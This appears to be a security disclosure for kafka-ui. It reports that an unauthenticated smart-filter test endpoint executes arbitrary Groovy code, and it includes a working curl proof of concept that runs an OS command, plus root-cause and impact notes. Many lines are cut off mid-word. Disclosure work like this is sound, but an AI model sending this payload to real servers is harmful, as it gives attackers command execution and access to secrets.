Summary

The test-execution endpoint runs arbitrary Groovy code supplied in
or feature flag. An unauthenticated remote attacker can achieve ful

Steps to reproduce

1- Stand up any kafka-ui instance (default config, auth.type=DISABL
2- Send an unauthenticated `PUT` to `/api/smartfilters/testexecutic
3- The server executes the script in a raw, unsandboxed `GroovyScri
the JSON response.

<img alt="Screenshot 2026-03-19 025226" src="https://i.postimg.cc/h

Proof of concept

```bash
curl -s -X PUT http://TARGET/api/smartfilters/testexecutions \
  -H 'Content-Type: application/json' \
  -d '{
    "filterCode": "throw new Exception(\"id\".execute().text)",
    "key": "k", "value": "v",
    "offset": 0, "partition": 0, "timestampMs": 0
  }'
```
Verified response
```json
{"result":null,"error":"Execution error : java.lang.Exception: kafk
```

Root cause

- MessagesController.java:75–80 — no validateAccess() call
- MessagesService.java:86–118 — execSmartFilterTest hardcodes GROOV
- MessageFilters.java:41–67 — script evaluated in a raw JVM engine

Impact

Full OS command execution An attacker can read secrets, exfiltrate
persistence with zero credentials required.